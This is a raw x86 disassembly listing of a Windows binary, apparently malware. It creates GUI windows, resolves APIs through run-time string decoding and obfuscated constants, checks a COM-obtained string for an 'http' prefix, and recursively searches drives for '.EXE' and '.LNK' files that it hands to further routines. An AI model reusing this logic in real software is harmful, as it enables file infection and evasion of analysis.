		mov	edi, dword_44D1B0
		add	edi, 35h
		mov	eax, ebx
		sub	eax, edi
		xor	edx, edx
		test	eax, eax
		setl	dl
		add	eax, edx
		sar	eax, 1
		mov	[ebp+var_124], eax
		mov	edx, dword_44D24C
		sub	edx, 9
		cmp	eax, edx
		jge	short loc_43C3E6
		mov	eax, dword_44D1CC
		movsx	edx, word_44D0F8
		add	eax, edx
		dec	eax
		mov	[ebp+var_124], eax


loc_43C3E6:				; CODE XREF: sub_43BE21+5AEj
		mov	eax, [ebp+var_114]
		sub	eax, [ebp+var_11C]
		mov	edx, dword_44D104
		add	edx, 29h
		sub	eax, edx
		mov	[ebp+var_120], eax
		push	offset dword_44E684
		call	sub_43AC82
		mov	[ebp+var_278], eax
		push	offset byte_44E66B
		call	sub_43AC82
		mov	[ebp+var_27C], eax
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_280], eax
		mov	edi, eax
		push	ds:dword_44A548[edi]
		movsx	edi, word_44D0B4
		add	edi, 38h
		push	edi
		push	[ebp+var_120]
		push	[ebp+var_124]
		mov	edi, dword_44D0A8
		add	edi, 10h
		push	edi
		push	50800000h
		mov	edi, [ebp+var_27C]
		push	edi
		mov	edi, [ebp+var_278]
		push	edi
		mov	edi, dword_44D184
		add	edi, dword_44D0C8
		sub	edi, 3
		push	edi
		call	ds:dword_44B820	; CreateWindowExA
		mov	[ebp+var_138], eax
		push	offset byte_44E661
		call	sub_43AC82
		mov	[ebp+var_284], eax
		push	offset byte_44E65D
		call	sub_43AC82
		mov	[ebp+var_288], eax
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_28C], eax
		mov	edi, eax
		push	ds:dword_44A548[edi]
		mov	edi, dword_44D0B0
		add	edi, 0F1h
		push	edi
		push	[ebp+var_120]
		mov	edi, [ebp+var_124]
		movsx	ebx, word_44D190
		mov	edx, dword_44D100
		lea	ebx, [ebx+edx+30h]
		add	edi, ebx
		mov	ebx, dword_44D170
		movsx	edx, word_44D180
		add	ebx, edx
		sub	ebx, 9
		add	edi, ebx
		push	edi
		mov	edi, dword_44D15C
		add	edi, 0Eh
		add	edi, dword_44D1EC
		push	edi
		push	50800009h
		mov	edi, [ebp+var_288]
		push	edi
		mov	edi, [ebp+var_284]
		push	edi
		mov	edi, dword_44D1A8
		add	edi, dword_44D0F0
		sub	edi, 8
		push	edi
		call	ds:dword_44B820	; CreateWindowExA
		mov	[ebp+var_13C], eax
		push	0
		push	2
		push	0
		push	0
		push	5
		push	1
		mov	eax, dword_44D238
		sub	eax, 9
		push	eax
		movsx	eax, word_44D160
		sub	eax, 6
		push	eax
		movsx	eax, word_44D130
		sub	eax, 2
		push	eax
		push	2BCh
		mov	eax, dword_44D1FC
		sub	eax, 4
		push	eax
		mov	eax, dword_44D200
		add	eax, dword_44D0E0
		sub	eax, 8
		push	eax
		push	dword_44D158
		mov	eax, dword_44D1C4
		add	eax, 13h
		push	eax
		call	ds:dword_44A214	; CreateFontA
		mov	[ebp+var_140], eax
		push	1
		push	eax
		push	30h
		push	[ebp+var_138]
		call	ds:dword_446014	; SendMessageA
		push	offset byte_44E653
		call	sub_43AC82
		mov	[ebp+var_290], eax
		push	offset word_44E64E
		call	sub_43AC82
		add	esp, 18h
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		push	[ebp+var_13C]
		mov	edi, dword_44D0B0
		mov	ebx, dword_44D178
		add	ebx, 0F4h
		add	ebx, dword_44D1A4
		mov	edx, edi
		add	edx, dword_44D24C
		sub	edx, 0Eh
		sub	ebx, edx
		push	ebx
		mov	ebx, [ebp+var_120]
		mov	edx, dword_44D1F8
		add	edx, edi
		mov	edi, edx
		sub	edi, 0Bh
		sub	ebx, edi
		push	ebx
		movsx	edi, word_44D21C
		add	edi, dword_44D0AC
		sub	edi, 0Ah
		push	edi
		mov	edi, dword_44D0A4
		add	edi, dword_44D0FC
		sub	edi, 0Fh
		push	edi
		push	50000000h
		push	eax
		mov	edi, [ebp+var_290]
		push	edi
		mov	edi, dword_44D0D8
		movsx	ebx, word_44D210
		add	edi, ebx
		sub	edi, 0Bh
		push	edi
		call	ds:dword_44B820	; CreateWindowExA
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_294], eax
		mov	ebx, eax
		mov	ds:dword_44A54C[ebx], edi
		mov	eax, dword_44D178
		cmp	[ebp+eax+var_104], 34h
		jnz	short loc_43C6B8
		push	offset word_44E646
		call	sub_43AC82
		pop	ecx
		push	eax
		lea	edi, [ebp+var_253]
		push	edi
		call	sub_445970
		jmp	short loc_43C6D0
; ---------------------------------------------------------------------------


loc_43C6B8:				; CODE XREF: sub_43BE21+87Bj
		push	offset dword_44E638
		call	sub_43AC82
		pop	ecx
		push	eax
		lea	edi, [ebp+var_253]
		push	edi
		call	sub_445970


loc_43C6D0:				; CODE XREF: sub_43BE21+895j
		push	offset word_44E5C6
		call	sub_43AC82
		lea	edi, [ebp+var_FF]
		push	edi
		lea	edi, [ebp+var_253]
		push	edi
		push	eax
		lea	edi, [ebp+var_23F]
		push	edi
		call	ds:dword_44C810
		push	offset dword_44E5BC
		call	sub_43AC82
		mov	[ebp+var_298], eax
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_29C], eax
		mov	edi, eax
		push	ds:dword_44A54C[edi]
		movsx	edi, word_44D144
		add	edi, 27h
		push	edi
		push	[ebp+var_120]
		mov	edi, dword_44D218
		inc	edi
		push	edi
		mov	edi, dword_44D158
		add	edi, 2
		push	edi
		push	50000000h
		lea	edi, [ebp+var_23F]
		push	edi
		mov	edi, [ebp+var_298]
		push	edi
		mov	edi, dword_44D168
		add	edi, dword_44D10C
		sub	edi, 9
		push	edi
		call	ds:dword_44B820	; CreateWindowExA
		mov	[ebp+var_258], eax
		push	0
		push	2
		push	0
		push	0
		push	5
		push	1
		movsx	eax, word_44D120
		add	eax, dword_44D0D8
		sub	eax, 0Eh
		push	eax
		mov	eax, dword_44D0CC
		mov	edx, dword_44D1CC
		add	edx, eax
		sub	edx, 7
		push	edx
		movsx	edx, word_44D0A0
		add	edx, eax
		mov	eax, edx
		sub	eax, 7
		push	eax
		push	190h
		mov	eax, dword_44D1AC
		add	eax, dword_44D15C
		sub	eax, 5
		push	eax
		mov	eax, dword_44D140
		add	eax, dword_44D10C
		sub	eax, 9
		push	eax
		movsx	eax, word_44D0B8
		sub	eax, 3
		push	eax
		movsx	eax, word_44D110
		add	eax, 10h
		push	eax
		call	ds:dword_44A214	; CreateFontA
		mov	[ebp+var_130], eax
		push	1
		push	eax
		push	30h
		push	[ebp+var_258]
		call	ds:dword_446014	; SendMessageA
		push	offset dword_44E5B0
		call	sub_43AC82
		mov	[ebp+var_2A0], eax
		push	offset dword_44E5AC
		call	sub_43AC82
		mov	[ebp+var_2A4], eax
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2A8], eax
		mov	edi, eax
		push	ds:dword_44A54C[edi]
		mov	edi, dword_44D198
		add	edi, 11Ah
		add	edi, dword_44D188
		push	edi
		movsx	edi, word_44D180
		add	edi, 2Dh
		push	edi
		movsx	edi, word_44D128
		add	edi, 46h
		push	edi
		movsx	edi, word_44D190
		add	edi, 5
		push	edi
		push	50800003h
		mov	edi, [ebp+var_2A4]
		push	edi
		mov	edi, [ebp+var_2A0]
		push	edi
		mov	edi, dword_44D0A4
		sub	edi, 9
		push	edi
		call	ds:dword_44B820	; CreateWindowExA
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2AC], eax
		mov	ebx, eax
		mov	ds:dword_44A550[ebx], edi
		push	offset dword_44E5A0
		call	sub_43AC82
		mov	[ebp+var_2B0], eax
		push	offset dword_44E59C
		call	sub_43AC82
		add	esp, 28h
		mov	[ebp+var_2B4], eax
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2B8], eax
		mov	edi, eax
		push	ds:dword_44A54C[edi]
		mov	edi, dword_44D248
		add	edi, 12Ch
		push	edi
		movsx	edi, word_44D220
		mov	ebx, dword_44D15C
		lea	edi, [edi+ebx+35h]
		push	edi
		movsx	edi, word_44D110
		mov	ebx, edi
		add	ebx, 4Bh
		push	ebx
		mov	ebx, dword_44D16C
		add	ebx, 3Fh
		add	ebx, dword_44D0AC
		push	ebx
		push	50800003h
		mov	ebx, [ebp+var_2B4]
		push	ebx
		mov	ebx, [ebp+var_2B0]
		push	ebx
		add	edi, dword_44D178
		sub	edi, 5
		push	edi
		call	ds:dword_44B820	; CreateWindowExA
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2BC], eax
		mov	ebx, eax
		mov	ds:dword_44A554[ebx], edi
		mov	eax, dword_44D104
		sub	eax, 3
		mov	[ebp+var_102], ax
		jmp	loc_43CA44
; ---------------------------------------------------------------------------


loc_43C988:				; CODE XREF: sub_43BE21+C3Dj
		push	offset dword_44E594
		call	sub_43AC82
		movzx	edi, [ebp+var_102]
		push	edi
		push	eax
		lea	edi, [ebp+var_2C6]
		push	edi
		call	ds:dword_44C810
		lea	eax, [ebp+var_2C6]
		push	eax
		mov	eax, dword_44D1AC
		sub	eax, 5
		push	eax
		push	143h
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2CC], eax
		push	ds:dword_44A550[eax]
		call	ds:dword_446014	; SendMessageA
		push	offset word_44E58A
		call	sub_43AC82
		movzx	edi, [ebp+var_102]
		mov	ebx, dword_44D238
		sub	ebx, 3
		add	edi, ebx
		push	edi
		push	eax
		lea	edi, [ebp+var_2C6]
		push	edi
		call	ds:dword_44C810
		add	esp, 20h
		lea	eax, [ebp+var_2C6]
		push	eax
		mov	eax, dword_44D1BC
		movsx	edx, word_44D114
		add	eax, edx
		sub	eax, 0Ch
		push	eax
		push	143h
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2D0], eax
		push	ds:dword_44A554[eax]
		call	ds:dword_446014	; SendMessageA
		inc	[ebp+var_102]


loc_43CA44:				; CODE XREF: sub_43BE21+B62j
		movzx	eax, [ebp+var_102]
		movsx	edx, word_44D130
		mov	ecx, dword_44D200
		lea	edx, [edx+ecx+5]
		cmp	eax, edx
		jl	loc_43C988
		push	offset word_44E582
		call	sub_43AC82
		mov	[ebp+var_2C0], eax
		push	offset word_44E57E
		call	sub_43AC82
		mov	[ebp+var_2C4], eax
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp-2C8h], eax
		mov	edi, eax
		push	ds:dword_44A54C[edi]
		movsx	edi, word_44D114
		add	edi, 0Fh
		push	edi
		mov	edi, dword_44D1E4
		add	edi, 54h
		push	edi
		movsx	edi, word_44D0B4
		mov	ebx, dword_44D0F0
		lea	edi, [edi+ebx+78h]
		push	edi
		mov	edi, dword_44D0C8
		add	edi, 2Dh
		push	edi
		push	50800000h
		mov	edi, [ebp+var_2C4]
		push	edi
		mov	edi, [ebp+var_2C0]
		push	edi
		push	200h
		call	ds:dword_44B820	; CreateWindowExA
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2CC], eax
		mov	ebx, eax
		mov	ds:dword_44A558[ebx], edi
		movsx	eax, word_44D194
		movsx	edx, word_44D0E8
		add	eax, edx
		sub	eax, 0Dh
		push	eax
		push	58h
		push	0CCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2D0], eax
		push	ds:dword_44A558[eax]
		call	ds:dword_446014	; SendMessageA
		push	offset dword_44E574
		call	sub_43AC82
		mov	[ebp+var_2D4], eax
		push	offset word_44E552
		call	sub_43AC82
		mov	[ebp+var_2D8], eax
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2DC], eax
		mov	edi, eax
		push	ds:dword_44A54C[edi]
		mov	edi, dword_44D17C
		add	edi, 36h
		add	edi, dword_44D1E0
		push	edi
		push	[ebp+var_120]
		mov	edi, dword_44D0CC
		add	edi, 49h
		push	edi
		mov	edi, dword_44D09C
		add	edi, 95h
		push	edi
		push	50000000h
		mov	edi, [ebp+var_2D8]
		push	edi
		mov	edi, [ebp+var_2D4]
		push	edi
		mov	edi, dword_44D1A8
		sub	edi, 8
		push	edi
		call	ds:dword_44B820	; CreateWindowExA
		mov	[ebp+var_25C], eax
		push	1
		push	[ebp+var_130]
		push	30h
		push	eax
		call	ds:dword_446014	; SendMessageA
		push	offset dword_44E548
		call	sub_43AC82
		mov	[ebp+var_2E0], eax
		push	offset word_44E52E
		call	sub_43AC82
		add	esp, 18h
		mov	[ebp+var_2E4], eax
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2E8], eax
		mov	edi, eax
		push	ds:dword_44A54C[edi]
		movsx	edi, word_44D220
		add	edi, 10h
		push	edi
		mov	edi, dword_44D1D8
		add	edi, 94h
		movsx	ebx, word_44D0B4
		add	edi, ebx
		push	edi
		mov	edi, dword_44D1B4
		add	edi, 0F6h
		mov	ebx, dword_44D14C
		add	ebx, 1Bh
		sub	edi, ebx
		push	edi
		movsx	edi, word_44D114
		inc	edi
		push	edi
		push	50800000h
		mov	edi, [ebp+var_2E4]
		push	edi
		mov	edi, [ebp+var_2E0]
		push	edi
		movsx	edi, word_44D120
		movsx	ebx, word_44D1B8
		add	edi, ebx
		sub	edi, 0Eh
		push	edi
		call	ds:dword_44B820	; CreateWindowExA
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2EC], eax
		mov	ebx, eax
		mov	ds:dword_44A55C[ebx], edi
		push	1
		push	[ebp+var_130]
		mov	eax, 30h
		push	30h
		mul	esi
		mov	[ebp+var_2F0], eax
		push	ds:dword_44A55C[eax]
		call	ds:dword_446014	; SendMessageA
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2F4], eax
		mov	[ebp+var_2F8], eax
		push	ds:dword_44A550[eax]
		call	ds:dword_44C7FC	; GetWindowLongA
		mov	edi, [ebp+var_2F8]
		mov	ds:dword_44A560[edi], eax
		push	offset sub_43D8EA
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2FC], eax
		push	ds:dword_44A550[eax]
		call	ds:dword_4495AC	; SetWindowLongA
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_300], eax
		mov	[ebp+var_304], eax
		push	ds:dword_44A554[eax]
		call	ds:dword_44C7FC	; GetWindowLongA
		mov	edi, [ebp+var_304]
		mov	ds:dword_44A564[edi], eax
		push	offset sub_43D8EA
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_308], eax
		push	ds:dword_44A554[eax]
		call	ds:dword_4495AC	; SetWindowLongA
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_30C], eax
		mov	[ebp+var_310], eax
		push	ds:dword_44A558[eax]
		call	ds:dword_44C7FC	; GetWindowLongA
		mov	edi, [ebp+var_310]
		mov	ds:dword_44A568[edi], eax
		push	offset sub_43D8EA
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_314], eax
		push	ds:dword_44A558[eax]
		call	ds:dword_4495AC	; SetWindowLongA
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_318], eax
		mov	[ebp+var_31C], eax
		push	ds:dword_44A54C[eax]
		call	ds:dword_44C7FC	; GetWindowLongA
		mov	edi, [ebp+var_31C]
		mov	ds:dword_44A56C[edi], eax
		push	offset sub_43D8EA
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_320], eax
		push	ds:dword_44A54C[eax]
		call	ds:dword_4495AC	; SetWindowLongA
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_324], eax
		push	ds:dword_44A550[eax]
		call	ds:dword_4499FC	; SetFocus


loc_43CE2F:				; CODE XREF: sub_43BE21+10j
					; sub_43BE21+21j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43BE21	endp


; =============== S U B	R O U T	I N E =======================================



sub_43CE34	proc near		; CODE XREF: sub_43A39F+1Bp
		push	edi
		push	offset word_44E51E
		call	sub_43AC82
		pop	ecx
		push	eax
		call	ds:dword_449598	; GetModuleHandleA
		mov	dword_44D268, eax
		test	eax, eax
		jnz	short loc_43CE67
		push	offset word_44E50E
		call	sub_43AC82
		pop	ecx
		push	eax
		call	ds:dword_44A208	; LoadLibraryA
		mov	dword_44D268, eax


loc_43CE67:				; CODE XREF: sub_43CE34+1Aj
		push	offset dword_44E4FC
		call	sub_43AC82
		push	eax
		push	dword_44D268
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_446FF8, eax
		push	offset byte_44E4EB
		call	sub_43AC82
		push	eax
		push	dword_44D268
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44CD84, eax
		push	offset byte_44E4DB
		call	sub_43AC82
		push	eax
		push	dword_44D268
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44CD94, eax
		push	offset dword_44E4CC
		call	sub_43AC82
		push	eax
		push	dword_44D268
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_446040, eax
		push	offset dword_44E4BC
		call	sub_43AC82
		add	esp, 14h
		push	eax
		push	dword_44D268
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44A218, eax
		pop	edi
		retn
sub_43CE34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43CEF8	proc near		; CODE XREF: sub_43B6DF+4Bp

var_10034	= dword	ptr -10034h
var_10030	= byte ptr -10030h
var_1002C	= dword	ptr -1002Ch
var_10028	= dword	ptr -10028h
var_10024	= dword	ptr -10024h
var_10020	= byte ptr -10020h
var_10018	= dword	ptr -10018h
var_10010	= dword	ptr -10010h
var_1000C	= dword	ptr -1000Ch
var_10008	= dword	ptr -10008h
var_10003	= byte ptr -10003h
var_10002	= byte ptr -10002h
var_10001	= byte ptr -10001h
var_10000	= byte ptr -10000h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10034h
		call	sub_445950
		push	ebx
		push	esi
		push	edi
		cmp	dword_44D33C, 0
		jnz	short loc_43CF25
		mov	eax, dword_44D0F0
		add	eax, 0Ah
		cmp	ds:dword_4495D0, eax
		jb	loc_43D167


loc_43CF25:				; CODE XREF: sub_43CEF8+17j
		lea	eax, [ebp+var_10020]
		push	eax
		call	ds:dword_446040
		lea	eax, [ebp+var_10030]
		push	eax
		lea	eax, [ebp+var_10020]
		push	eax
		push	9
		movsx	eax, word_44D1F0
		add	eax, dword_44D0C0
		sub	eax, 6
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44A218
		mov	edi, eax
		mov	eax, dword_44D1E8
		add	eax, dword_44D1A4
		sub	eax, 8
		cmp	edi, eax
		jnz	loc_43D167
		mov	esi, [ebp+var_10018]
		and	[ebp+var_1000C], 0
		lea	eax, [ebp+var_1000C]
		push	eax
		push	offset dword_44ECD4
		push	esi
		mov	edx, [esi]
		call	dword ptr ds:0[edx]
		mov	edi, eax
		mov	eax, dword_44D1E8
		sub	eax, 7
		cmp	edi, eax
		jnz	loc_43D167
		lea	eax, [ebp+var_10024]
		push	eax
		mov	eax, [ebp+var_1000C]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+78h]
		mov	edi, eax
		mov	eax, dword_44D218
		movsx	edx, word_44D11C
		add	eax, edx
		sub	eax, 0Dh
		cmp	edi, eax
		jnz	loc_43D161
		lea	eax, [ebp+var_10003]
		push	eax
		push	[ebp+var_10024]
		call	sub_43B896
		add	esp, 8
		mov	edx, eax
		inc	edx
		mov	[ebp+var_10034], edx
		push	[ebp+var_10024]
		call	ds:dword_44CD84
		cmp	[ebp+var_10003], 68h
		jnz	short loc_43D025
		cmp	[ebp+var_10002], 74h
		jnz	short loc_43D025
		cmp	[ebp+var_10001], 74h
		jnz	short loc_43D025
		cmp	[ebp+var_10000], 70h
		jz	short loc_43D02A


loc_43D025:				; CODE XREF: sub_43CEF8+110j
					; sub_43CEF8+119j ...
		jmp	loc_43D161
; ---------------------------------------------------------------------------


loc_43D02A:				; CODE XREF: sub_43CEF8+12Bj
		lea	eax, [ebp+var_10010]
		push	eax
		mov	eax, [ebp+var_1000C]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+48h]
		mov	edi, eax
		mov	eax, dword_44D22C
		add	eax, dword_44D18C
		sub	eax, 5
		cmp	edi, eax
		jnz	loc_43D161
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_44EC44
		mov	eax, [ebp+var_10010]
		push	eax
		mov	edx, [eax]
		call	dword ptr ds:0[edx]
		mov	edi, eax
		mov	eax, dword_44D1F8
		sub	eax, 6
		cmp	edi, eax
		jnz	loc_43D155
		lea	eax, [ebp+var_10008]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+1B0h]
		mov	edi, eax
		mov	eax, dword_44D150
		sub	eax, 2
		cmp	edi, eax
		jnz	loc_43D14C
		lea	eax, [ebp+var_10028]
		push	eax
		mov	eax, [ebp+var_10008]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+70h]
		mov	edi, eax
		mov	eax, dword_44D16C
		sub	eax, 2
		cmp	edi, eax
		jz	short loc_43D0D4
		mov	eax, [ebp+var_10008]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]
		jmp	short loc_43D14C
; ---------------------------------------------------------------------------


loc_43D0D4:				; CODE XREF: sub_43CEF8+1CCj
		xor	ebx, ebx
		mov	eax, [ebp+var_10028]
		cmp	[ebp+var_10008], eax
		jz	short loc_43D0E7
		xor	ebx, ebx
		inc	ebx


loc_43D0E7:				; CODE XREF: sub_43CEF8+1EAj
		mov	eax, [ebp+var_10008]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]
		mov	eax, [ebp+var_10028]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]
		or	ebx, ebx
		jnz	short loc_43D14C
		lea	eax, [ebp+var_1002C]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+20h]
		mov	edi, eax
		movsx	eax, word_44D220
		movsx	edx, word_44D128
		add	eax, edx
		sub	eax, 0Ch
		cmp	edi, eax
		jnz	short loc_43D14C
		push	[ebp+var_1002C]
		push	[ebp+var_4]
		call	nullsub_2
		push	[ebp+var_1002C]
		push	[ebp+var_4]
		push	esi
		call	sub_4425A6
		add	esp, 14h


loc_43D14C:				; CODE XREF: sub_43CEF8+1A7j
					; sub_43CEF8+1DAj ...
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]


loc_43D155:				; CODE XREF: sub_43CEF8+182j
		mov	eax, [ebp+var_10010]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]


loc_43D161:				; CODE XREF: sub_43CEF8+D9j
					; sub_43CEF8:loc_43D025j ...
		push	esi
		mov	eax, [esi]
		call	dword ptr [eax+8]


loc_43D167:				; CODE XREF: sub_43CEF8+27j
					; sub_43CEF8+76j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43CEF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D16C	proc near		; CODE XREF: sub_43B380+56p
					; sub_43B8E8+3Ep ...

var_252		= byte ptr -252h
var_248		= dword	ptr -248h
var_242		= byte ptr -242h
var_13E		= byte ptr -13Eh
var_112		= byte ptr -112h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		cmp	[ebp+arg_8], 0
		jz	short loc_43D19D
		mov	eax, dword_44D24C
		movsx	edx, word_44D220
		add	eax, edx
		sub	eax, 10h
		mov	[ebp+var_248], eax
		jmp	loc_43D228
; ---------------------------------------------------------------------------


loc_43D19D:				; CODE XREF: sub_43D16C+13j
		mov	edx, [ebp+arg_4]
		mov	ecx, dword_44D1BC
		add	ecx, dword_44D124
		sub	ecx, 5
		cmp	ds:dword_4495E0[edx*4],	ecx
		jnz	short loc_43D1D4
		push	ebx
		call	ds:dword_4495BC	; FindClose
		mov	eax, dword_44D238
		add	eax, dword_44D0DC
		sub	eax, 8
		push	eax
		call	ds:dword_44C840	; ExitThread


loc_43D1D4:				; CODE XREF: sub_43D16C+4Aj
		mov	eax, dword_44D198
		add	eax, 5Bh
		mov	[ebp+var_248], eax
		push	offset dword_44E4B4
		call	sub_43AC82
		push	[ebp+arg_4]
		push	eax
		lea	edx, [ebp+var_252]
		push	edx
		call	ds:dword_44C810
		add	esp, 10h
		lea	eax, [ebp+var_252]
		push	eax
		call	ds:dword_44C844	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_43D228
		mov	eax, dword_44D208
		add	eax, 122h
		add	eax, dword_44D104
		mov	[ebp+var_248], eax


loc_43D228:				; CODE XREF: sub_43D16C+2Cj
					; sub_43D16C+A4j
		xor	edi, edi
		inc	edi
		push	offset byte_44E4AD
		call	sub_43AC82
		push	esi
		push	eax
		lea	edx, [ebp+var_242]
		push	edx
		call	ds:dword_44C810
		add	esp, 10h
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_43D24C:				; CODE XREF: sub_43D16C+E5j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43D24C
		mov	ecx, dword_44D244
		add	ecx, dword_44D0AC
		sub	ecx, 9
		mov	edx, eax
		sub	edx, ecx
		cmp	byte ptr [esi+edx], 2Eh
		jnz	loc_43D303
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_43D275:				; CODE XREF: sub_43D16C+10Ej
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43D275
		mov	ecx, dword_44D154
		add	ecx, 1
		mov	edx, eax
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	ds:dword_446034
		add	esp, 4
		cmp	eax, 4Ch
		jnz	short loc_43D303
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_43D2A1:				; CODE XREF: sub_43D16C+13Aj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43D2A1
		mov	ecx, dword_44D1C4
		add	ecx, 2
		mov	edx, eax
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	ds:dword_446034
		add	esp, 4
		cmp	eax, 4Eh
		jnz	short loc_43D303
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_43D2CD:				; CODE XREF: sub_43D16C+166j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43D2CD
		mov	ecx, dword_44D0D0
		add	ecx, 1
		add	ecx, dword_44D0DC
		mov	edx, eax
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	ds:dword_446034
		add	esp, 4
		cmp	eax, 4Bh
		jnz	short loc_43D303
		push	esi
		call	sub_444ACE
		add	esp, 4


loc_43D303:				; CODE XREF: sub_43D16C+FEj
					; sub_43D16C+12Ej ...
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_43D308:				; CODE XREF: sub_43D16C+1A1j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43D308
		mov	ecx, dword_44D238
		sub	ecx, 4
		mov	edx, eax
		sub	edx, ecx
		cmp	byte ptr [esi+edx], 2Eh
		jnz	loc_43D3C3
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_43D32B:				; CODE XREF: sub_43D16C+1C4j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43D32B
		movsx	ecx, word_44D1F0
		add	ecx, 2
		mov	edx, eax
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	ds:dword_446034
		add	esp, 4
		cmp	eax, 45h
		jnz	short loc_43D3C3
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_43D358:				; CODE XREF: sub_43D16C+1F1j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43D358
		mov	edx, eax
		mov	ecx, dword_44D1D0
		movsx	eax, word_44D0E8
		add	ecx, eax
		sub	ecx, 6
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	ds:dword_446034
		add	esp, 4
		cmp	eax, 58h
		jnz	short loc_43D3C3
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_43D38D:				; CODE XREF: sub_43D16C+226j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43D38D
		mov	ecx, dword_44D20C
		sub	ecx, 5
		mov	edx, eax
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	ds:dword_446034
		add	esp, 4
		cmp	eax, 45h
		jnz	short loc_43D3C3
		push	[ebp+var_248]
		push	esi
		call	sub_4433F9
		add	esp, 8


loc_43D3C3:				; CODE XREF: sub_43D16C+1B4j
					; sub_43D16C+1E5j ...
		lea	eax, [ebp+var_13E]
		push	eax
		lea	eax, [ebp+var_242]
		push	eax
		call	ds:dword_44A21C	; FindFirstFileA
		mov	ebx, eax
		mov	eax, dword_44D1AC
		add	eax, dword_44D1D4
		sub	eax, 9
		neg	eax
		cmp	ebx, eax
		jz	loc_43D4A8
